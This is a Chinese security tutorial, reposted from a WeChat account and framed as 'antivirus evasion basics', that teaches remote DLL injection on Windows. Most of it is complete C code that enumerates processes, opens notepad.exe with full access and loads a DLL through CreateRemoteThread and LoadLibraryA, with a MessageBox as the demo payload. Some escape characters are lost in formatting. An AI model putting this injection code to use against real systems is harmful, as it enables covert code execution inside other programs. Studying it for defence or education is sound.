回顾
动态链接库相信大家已经很熟悉了DLL其实就是作为一个模块去跑的,为了解决一些重复使用的代码。
应用程序默认会去加载一些DLL,比如kernel32.dll ntdll.dll等等,这些dll中有非常多的导出函数来供我们程序使用。
当然我们也可以去编写自己的DLL,我们创建一个动态链接库,然后使用LoadLibrary Windows API函数进行加载我们自己写的DLL,当我们将DLL加载到进程的地址空间中之后,我们就可以去获取导出函数的地址然后去调用了。
如下是DLL最基本的代码。
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
当我们将DLL加载到进程地址空间的时候会执行DLL_PROCESS_ATTACH中的代码。
比如我们这里在其中写一段MessageBox弹窗的代码。
需要注意的是在配置选项哪里将预编译头干掉,还有就是将dllmain.cpp更改为dllmain.c文件。
然后我们就可以使用LoadLibrary去加载了。
#include <iostream>
#include <Windows.h>
int main()
{
HMODULE hModule = LoadLibraryA("C:\Users\Administrator\source\repos\Dll3\Debug\Dll3.dll");
typedef void (*test)();
test MyFunction = (test)GetProcAddress(hModule, "test");
MyFunction();
return 0;
}
好了上面其实就是我们回顾的动态链接库这里。
DLL注入
接下来我们需要将其我们生成的恶意DLL注入到其他进程中,其实也可以叫做远程DLL注入了。
远程DLL注入其实就是将我们的动态链接库DLL加载到远程进程中并在其内部执行代码的一种方式。
远程DLL注入的基本原理就是利用目标进程的地址空间,在目标进程中加载并执行指定的DLL。
我们可以通过如下几个步骤来实现。
-
选择目标进程,我们要注入的话肯定是要知道目标进程的。
-
获取目标进程的句柄,我们获取到目标进程的句柄之后就能够在目标进程中执行了。
-
在目标进程中分配一块内存用于存储将要注入的DLL路径和参数等信息。
-
写入DLL路径和参数,将DLL路径和可能的参数写入目标进程的内存空间。
-
创建远程线程,在目标进程中创建一个远程线程,该线程的起始地址指向LoadLibrary函数(或者是类似功能的函数)。
-
最后一步就是注入远程线程执行LoadLibrary函数,将DLL加载到目标进程中,从而实现DLL注入。
所以我们的第一步要选择目标进程,既然要选择目标进程,那么肯定首先需要枚举目标进程。
首先我们需要创建一个进程快照,这个进程快照中包含了系统中所有的进程信息。
CreateToolhelp32Snapshot函数是一个Windows API函数,一般用于创建系统快照,遍历系统进程以及模块的作用。
函数原型如下:
HANDLE WINAPI CreateToolhelp32Snapshot(
DWORD dwFlags,
DWORD th32ProcessID
);
TH32CS_SNAPPROCESS:获取进程快照。
TH32CS_SNAPMODULE:获取模块快照。
TH32CS_SNAPTHREAD:获取线程快照。
TH32CS_SNAPALL:获取进程、模块和线程的快照。
TH32CS_INHERIT:表示新的快照将继承调用进程的句柄权限。
一般我们会使用获取所有的进程快照也就是TH32CS_SNAPPROCESS。
第二个参数表示要获取快照的进程ID,也就是PID,如果为NULL或0的话,那么获取所有的进程的快照。
比如如果我们想获取到所有进程的快照,我们可以这样写:
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
获取到所有进程快照之后就可以使用Process32First和Process32Next函数来遍历进程快照了,获取每一个进程的详细信息。
我们来一一看一下这两个函数。
首先是Process32First函数,这个函数原型如下:
BOOL Process32First(
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe
);
这个函数需要传递两个参数,第一个参数需要传递进程快照的句柄,这里的句柄就是上一步通过CreateToolhelp32Snapshot这个函数返回的,然后第二个参数指向一个PROCESSENTRY32结构的指针,用于接收第一个进程的信息。
PROCESSENTRY32
结构定义如下:
typedef struct tagPROCESSENTRY32 {
DWORD dwSize;
DWORD cntUsage;
DWORD th32ProcessID;
ULONG_PTR th32DefaultHeapID;
DWORD th32ModuleID;
DWORD cntThreads;
DWORD th32ParentProcessID;
LONG pcPriClassBase;
DWORD dwFlags;
TCHAR szExeFile[MAX_PATH];
} PROCESSENTRY32;
这个结构的dwSize表示的是结构的大小,初始化时需要设置为sizeof(PROCESSENTRY32)。
th32ProcessID表示进程的ID,szExeFile表示可执行的文件名。
如下示例:
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe32)) {
do {
// 使用 pe32 中的信息,比如 pe32.th32ProcessID 和 pe32.szExeFile
// 处理当前进程的信息
} while (Process32Next(hSnapshot, &pe32));
}
这段代码会遍历进程快照中的每一个进程,并在每次循环中使用 PROCESSENTRY32
结构中的信息处理当前进程。
而对于Process32Next函数和Process32First函数是差不多的。
那么我们就可以使用这三个函数来枚举进程。
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#include <stdio.h>
void list_processes() {
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("CreateToolhelp32Snapshot (of processes) failed.n"));
return;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcessSnap, &pe32)) {
_tprintf(TEXT("Process32First failed.n"));
CloseHandle(hProcessSnap);
return;
}
_tprintf(TEXT("PIDttProcess namen"));
do {
_tprintf(TEXT("%-8dt%sn"), pe32.th32ProcessID, pe32.szExeFile);
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
}
int main() {
list_processes();
return 0;
}
我们来理解一下这个代码。
首先导入了这几个头文件。
windows.h:包含大多数Windows API函数的声明。
tlhelp32.h:包含与创建工具帮助快照相关的API函数的声明。
tchar.h:包含与处理多字符集和宽字符相关的宏和函数的声明。
stdio.h:包含标准输入输出函数的声明。
最重要的就是tlhelp32.h这个文件,这个头文件中包含了创建快照的一些API函数。
还有就是tchar.h这个头文件,这个文件里面包含了处理字符串的一些宏还有一些函数。
首先我们定义了一个list_processes函数,这个函数用于列举处所有的进程,这里定义了两个未初始化的变量,一个是HANDLE类型的另外一个是PROCESSENTRY32结构指针,hProcessSnap最后会赋值为一个快照对象,而PROCESSENTRY32结构指针会指向进程相关的信息。
void list_processes() {
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("CreateToolhelp32Snapshot (of processes) failed.n"));
return;
}
创建之后首先设置PROCESSENTRY32结构的大小,如果不设置这个结构大小的话,会报错。
这个必须在使用此结构之前去进行设置。
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcessSnap, &pe32)) {
_tprintf(TEXT("Process32First failed.n"));
CloseHandle(hProcessSnap);
return;
}
do {
_tprintf(TEXT("%-8dt%sn"), pe32.th32ProcessID, pe32.szExeFile);
} while (Process32Next(hProcessSnap, &pe32));
最后就是关闭句柄了。
接下来我们将其代码更改为我们传递进去一个进程名以及PID,它返回一个进程对象的句柄。
我们现来看看OpenProcess函数。
函数原型如下:
HANDLE OpenProcess(
DWORD dwDesiredAccess, // 访问权限
BOOL bInheritHandle, // 是否继承句柄
DWORD dwProcessId // 进程ID
);
第一个参数表示的是请求的访问权限,如下:
PROCESS_ALL_ACCESS
:完全访问权限,允许对进程进行任何操作。
PROCESS_CREATE_PROCESS
:创建进程的权限。
PROCESS_QUERY_INFORMATION
:查询进程信息的权限。
PROCESS_VM_READ
:读取进程内存的权限等。
一般我们会给完全访问权限,也就是PROCESS_ALL_ACCESS。
第二个参数是是否继承句柄,这里表示的是你返回的句柄是否可以被子进程继承,这通常是FALSE。
最后一个参数是你要打开的进程ID。
如下我们可以将代码更改为:
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>
BOOL OpenProcessByNameAndPID(const char* processName, DWORD pid, HANDLE* phProcess) {
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
return FALSE;
}
if (!Process32First(hProcessSnap, &pe32)) {
CloseHandle(hProcessSnap);
return FALSE;
}
do {
if (_stricmp(pe32.szExeFile, processName) == 0 && pe32.th32ProcessID == pid) {
*phProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
if (*phProcess == NULL) {
CloseHandle(hProcessSnap);
return FALSE;
}
CloseHandle(hProcessSnap);
return TRUE;
}
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
printf("Process not found!n");
return FALSE;
}
int main() {
const char* processName = "notepad.exe";
DWORD pid = 1234;
HANDLE hProcess;
if (OpenProcessByNameAndPID(processName, pid, &hProcess)) {
CloseHandle(hProcess);
} else {
}
return 0;
}
我们来Debug跟一下。
这里非常简单,其实就是判断从进程快照中遍历出的进程名以及PID是否和我们传递进去的名称以及PID是相同的,如果是的话,那么就打开打开进程,并返回一个进程句柄。
接下来我们拿到了进程的句柄,我们就该将DLL注入到远程进程中了。
在这之前我们需要了解几个API函数方便注入我们的DLL。
首先是VirtualAllocEx函数,这个函数用于在指定进程的虚拟地址空间中分配内存,它允许一个进程为另一个进程分配内存,并返回指向分配的内存区域的指针。
函数原型如下:
LPVOID VirtualAllocEx(
HANDLE hProcess, // 目标进程的句柄
LPVOID lpAddress, // 分配的内存地址,设为 NULL 表示系统自动分配
SIZE_T dwSize, // 分配的内存大小(字节数)
DWORD flAllocationType, // 内存分配类型
DWORD flProtect // 内存保护属性
);
第一个参数就是通过OpenProcess来获取的进程的句柄。
lpAddress
:分配的内存地址。设为 NULL
表示让系统自动分配地址。
dwSize
:分配的内存大小,以字节为单位。
flAllocationType
:内存分配类型,可以是以下常量之一或其组合:
-
MEM_COMMIT
:提交分配的内存空间,使其在物理内存中可用。 -
MEM_RESERVE
:保留分配的内存空间,但不进行实际分配,直到调用MEM_COMMIT
。 -
MEM_RESET
:重置内存空间,将其内容设置为0。 -
其他分配类型常量请参考Microsoft文档。
flProtect
:内存保护属性,控制内存区域的访问权限,可以是以下常量之一:
-
PAGE_READWRITE
:可读写权限。 -
PAGE_EXECUTE_READ
:可读权限,可执行权限。 -
其他保护属性常量请参考Microsoft文档。
如果函数调用成功的话,将返回指向分配内存区域的指针。
比如如下代码:
LPVOID lpAddress = VirtualAllocEx(hProcess, NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
我们通过VirtualAllocEx函数在指定进程中虚拟空间中分配了一个4096字节的内存。
第二个API函数是WriteProcessMemory,这个函数一般用于向远程进程中写入数据,我们要通过这个函数将DLL的路径写入到目标进程中。
原型如下:
BOOL WriteProcessMemory(
HANDLE hProcess, // 目标进程的句柄
LPVOID lpBaseAddress, // 目标进程的内存地址
LPCVOID lpBuffer, // 要写入的数据缓冲区的指针
SIZE_T nSize, // 要写入的数据大小(字节数)
SIZE_T *lpNumberOfBytesWritten // 实际写入的字节数,可为 NULL
);
hProcess参数一般是通过OpenProcess函数来获取的,第二个lpBaseAddress参数表示的是目标进程的内存地址,表示写入数据的起始位置。
lpBuffer是要写入的数据缓冲区的指针。
nSize参数表示要写入的数据大小(字节数)。
最后一个参数表示要实际写入的字节数。
最后一个API函数是createremotethread函数。
createremotethread函数是一个用于在指定进程中创建远程线程的一个API函数,这个函数一般用于进程注入和代码执行等功能。
如下函数原型:
HANDLE CreateRemoteThread(
HANDLE hProcess, // 目标进程的句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程安全属性,通常设为 NULL
SIZE_T dwStackSize, // 线程堆栈大小,通常设为 0
LPTHREAD_START_ROUTINE lpStartAddress, // 线程入口函数地址
LPVOID lpParameter, // 传递给线程入口函数的参数
DWORD dwCreationFlags, // 线程创建标志,通常设为 0
LPDWORD lpThreadId // 返回新线程的ID,可为 NULL
);
然后我们需要去查找LoadLibraryW函数的地址,那么为什么要去查找他的地址呢?
LoadLibraryW函数的作用就是加载指定的DLL文件,并返回该模块的句柄,远程注入的关键步骤其实就是将你的DLL加载到目标的进程地址空间中。
由于你是在目标进程中创建远程线程,所以需要使用目标进程中有效的地址。如果直接使用你当前进程中的函数地址,它在目标进程中可能是无效的。
为了让目标进程执行你的代码,需要在目标进程中调用它自己的API函数,例如LoadLibraryW
。
大概的实现思路如下:
-
使用
OpenProcess
函数获取目标进程的句柄。 -
使用
VirtualAllocEx
函数在目标进程的地址空间中分配内存,用于存储DLL路径。 -
使用
WriteProcessMemory
函数将DLL路径写入到目标进程的分配内存中。 -
使用
GetProcAddress
和GetModuleHandle
函数获取当前进程中LoadLibraryW
的地址,然后将其转换为目标进程中的地址。 -
使用
CreateRemoteThread
函数在目标进程中创建一个线程,并让这个线程执行LoadLibraryW
函数,参数是前面写入的DLL路径。
如下代码实现:
BOOL InjectDLL(HANDLE hProcess, const char* dllPath) {
LPVOID dllPathAddr = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
if (dllPathAddr == NULL) {
return FALSE;
}
if (!WriteProcessMemory(hProcess, dllPathAddr, dllPath, strlen(dllPath) + 1, NULL)) {
VirtualFreeEx(hProcess, dllPathAddr, 0, MEM_RELEASE);
return FALSE;
}
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
if (hKernel32 == NULL) {
VirtualFreeEx(hProcess, dllPathAddr, 0, MEM_RELEASE);
return FALSE;
}
LPTHREAD_START_ROUTINE loadLibraryAddr = (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "LoadLibraryA");
if (loadLibraryAddr == NULL) {
VirtualFreeEx(hProcess, dllPathAddr, 0, MEM_RELEASE);
return FALSE;
}
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, loadLibraryAddr, dllPathAddr, 0, NULL);
if (hThread == NULL) {
VirtualFreeEx(hProcess, dllPathAddr, 0, MEM_RELEASE);
return FALSE;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return TRUE;
}
我们来解释一下如上代码:
首先在在目标进程的地址空间中分配内存,用于存储 DLL 路径。
LPVOID dllPathAddr = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
if (dllPathAddr == NULL) {
return FALSE;
}
if (!WriteProcessMemory(hProcess, dllPathAddr, dllPath, strlen(dllPath) + 1, NULL)) {
VirtualFreeEx(hProcess, dllPathAddr, 0, MEM_RELEASE);
return FALSE;
}
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
if (hKernel32 == NULL) {
VirtualFreeEx(hProcess, dllPathAddr, 0, MEM_RELEASE);
return FALSE;
}
LPTHREAD_START_ROUTINE loadLibraryAddr = (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "LoadLibraryA");
if (loadLibraryAddr == NULL) {
VirtualFreeEx(hProcess, dllPathAddr, 0, MEM_RELEASE);
return FALSE;
}
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, loadLibraryAddr, dllPathAddr, 0, NULL);
if (hThread == NULL) {
VirtualFreeEx(hProcess, dllPathAddr, 0, MEM_RELEASE);
return FALSE;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return TRUE;
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {
PROCESSENTRY32 Proc = { .dwSize = sizeof(PROCESSENTRY32) };
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (hSnapShot == INVALID_HANDLE_VALUE) {
return FALSE;
}
if (!Process32First(hSnapShot, &Proc)) {
CloseHandle(hSnapShot);
return FALSE;
}
do {
WCHAR LowerName[MAX_PATH * 2];
if (Proc.szExeFile) {
DWORD dwSize = lstrlenW(Proc.szExeFile);
for (DWORD i = 0; i < dwSize && i < MAX_PATH * 2; i++) {
LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);
}
LowerName[dwSize] = '�';
}
if (wcscmp(LowerName, szProcessName) == 0) {
*dwProcessId = Proc.th32ProcessID;
*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
if (*hProcess == NULL) {
printf("[!] OpenProcess Failed With Error: %d n", GetLastError());
CloseHandle(hSnapShot);
return FALSE;
}
CloseHandle(hSnapShot);
return TRUE;
}
} while (Process32Next(hSnapShot, &Proc));
CloseHandle(hSnapShot);
return FALSE;
}
BOOL InjectDLL(HANDLE hProcess, const char* dllPath) {
LPVOID dllPathAddr = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
if (dllPathAddr == NULL) {
printf("[!] VirtualAllocEx Failed With Error: %d n", GetLastError());
return FALSE;
}
if (!WriteProcessMemory(hProcess, dllPathAddr, dllPath, strlen(dllPath) + 1, NULL)) {
printf("[!] WriteProcessMemory Failed With Error: %d n", GetLastError());
VirtualFreeEx(hProcess, dllPathAddr, 0, MEM_RELEASE);
return FALSE;
}
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
if (hKernel32 == NULL) {
printf("[!] GetModuleHandleA Failed With Error: %d n", GetLastError());
VirtualFreeEx(hProcess, dllPathAddr, 0, MEM_RELEASE);
return FALSE;
}
LPTHREAD_START_ROUTINE loadLibraryAddr = (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "LoadLibraryA");
if (loadLibraryAddr == NULL) {
printf("[!] GetProcAddress Failed With Error: %d n", GetLastError());
VirtualFreeEx(hProcess, dllPathAddr, 0, MEM_RELEASE);
return FALSE;
}
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, loadLibraryAddr, dllPathAddr, 0, NULL);
if (hThread == NULL) {
printf("[!] CreateRemoteThread Failed With Error: %d n", GetLastError());
VirtualFreeEx(hProcess, dllPathAddr, 0, MEM_RELEASE);
return FALSE;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return TRUE;
}
int main() {
const char* processName = "notepad.exe";
const char* dllPath = "C:\Users\Administrator\source\repos\Dll4\x64\Debug\Dll4.dll";
DWORD pid = 0;
HANDLE hProcess = NULL;
if (!GetRemoteProcessHandle(L"notepad.exe", &pid, &hProcess)) {
return 1;
}
// 注入DLL
if (InjectDLL(hProcess, dllPath)) {
printf("[+] DLL injected successfully!n");
}
else {
printf("[!] DLL injection failed!n");
}
// 关闭进程句柄
if (hProcess) {
CloseHandle(hProcess);
}
return 0;
}
我们来debug跟一下:
我们先跟进GetRemoteProcessHandle函数。
首先从进程快照中获取到PID以及进程名称,然后通过OpenProcess函数来打开进程,返回进程句柄。
返回进程句柄之后,我们需要向远程进程申请内存。
来到InjectDLL函数。
首先这里远程内存的地址我们可以在xdbg中查看。
只需要将notepad.exe附加进程即可。
然后ctrl + G去搜索内存地址。
紧接着就是写入DLL的路径了。
写入之后这里就可以看到内存中已经有了。
我们可以在Process Hacker的module中查看是否注入了dll。
可以看到Dll4.dll已经成功注入了。
原文始发于微信公众号(Relay学安全):免杀基础-DLL注入详解(学不会你打我)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论